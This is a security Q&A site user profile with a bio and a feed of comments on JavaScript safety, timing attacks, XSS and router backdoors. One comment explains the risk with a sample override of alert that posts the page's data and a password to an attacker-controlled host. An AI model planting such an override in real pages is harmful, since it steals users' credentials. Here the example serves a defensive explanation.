19,309 reputation
23291
bio website
location Brooklyn, NY
age 33
visits member for 3 years, 2 months
seen 2 hours ago
Good Morning how are you, I'm dr jimbob
I'm interested in things.
I'm not a real dr,
But I am a real jim bob.

Have a PhD in Experimental High-Energy Physics, but left academia in mid-2010 to program professionally.

Mostly program/script in python, django, and jquery these days doing mostly web apps.

Also have experience programming in C, C++, java, haskell, php, and (bash) shell more in the past.

Linux as primary OS since 1999, ubuntu user since 2005 (Hoary).


Jun
18
comment How to recognize if someone using password Reminder Script
Much better now. +1
Jun
18
comment How to recognize if someone using password Reminder Script
I did read your answer. But you rarely execute javascript in a vacuum; there are numerous scripts already running on the page, often from diverse sources -- e.g., on stackexchange I count some 14 scripts running plus JS extensions (granted there's some sandboxing of environments). An attacker potentially could redefine alert in one of those places that would turn this otherwise benign script into something devastating. My point is you can't call a JS snippet "safe" when JS is dynamic enough to let core functions be redefined.
Jun
18
comment How to recognize if someone using password Reminder Script
"The javascript you gave here cannot hack your account" - that's not necessarily true. An attacker may have early in the page overloaded alert(msg) (a standard JS function that generates a pop-up window with a text message) with something else. For example, try defining alert = function(x) { console.log(x) } and use an alert later on. The attackers version could be something like: alert = function(x) { jQuery.post('http://attacker-controlled-website.tk', {uri: document.baseURI, msg: x}) Then when the alert is called, your password and related info is sent off to the attacker.
Jun
12
comment Timing-safe string comparison in high-level languages
@Fleche - As for using constant-time functions for defense-in-depth, attacks aren't always intuitively obvious; e.g., the recent paper (note Shamir, the S of RSA is a co-author) where RSA in GnuPG (which used non-constant time modular exponentiation) was broken by using a mobile telephone's microphone to listen to a laptop decrypting things with RSA from across a room.
Jun
12
comment Timing-safe string comparison in high-level languages
@Fleche - With a suitably long salt unknown to the attacker (e.g., bcrypt's 128-bit salt), AFAIK you do not have to worry about timing attacks. That said, constant-time string comparison strikes me as the right thing to do for defense-in-depth and a good habit. I don't like take a hash of the your hash and do non-constant time comparison. All you've done is effectively change the hash function from bcrypt to sha256 of bcrypt and any timing attack that could have been done on bcrypt can now be done on sha256 of bcrypt.
Jun
10
revised Timing-safe string comparison in high-level languages
added 4 characters in body
Jun
10
revised Timing-safe string comparison in high-level languages
added 4 characters in body
Jun
10
answered Timing-safe string comparison in high-level languages
Jun
9
awarded  Enlightened
Jun
9
awarded  Guru
Jun
9
comment How is this XSS attack working?
@RahilArora - XSS prevention will prevent you from escaping out of the attribute tag. E.g., if you had <img src="{{ somevar }}"> you wouldn't be able to escape to get to <img src="#" onload="alert('XSS')">. The problem in this case is inserting untrusted input into the middle of a JS function in an HTML attribute.
Jun
9
answered How is this XSS attack working?
Jun
8
comment A manual function for hasing identity?
The original study (Sweeney 2000) found 87% of people are identifiable by zip code + gender + year/month/date of birth and a followup study found 63% identifiable by those criteria.
Jun
6
comment How can I secure my wireless network from neighbor's password-cracking attempts?
@D.W. - I'd suggest using your favorite search engine and search for (name of router) + "backdoor". Granted you may want to be careful doing this, could be used as evidence you tried to hack someone. Alternatively, use a router with open-source firmware like DD-WRT / OpenWRT, which presumably do not have obvious backdoors. (Granted OpenSSL is open-source and had heartbleed and several more recent problems for a long time, so open-source while preferred isn't perfectly secure).
Jun
6
awarded  Nice Answer
Jun
6
awarded  Generalist
Jun
6
revised How can I secure my wireless network from neighbor's password-cracking attempts?
added 529 characters in body
Jun
6
answered How can I secure my wireless network from neighbor's password-cracking attempts?
Jun
5
revised In there any point in passphrase-protecting an SSH private key that is used by a service account?
deleted 8 characters in body
Jun
5
revised In there any point in passphrase-protecting an SSH private key that is used by a service account?
deleted 8 characters in body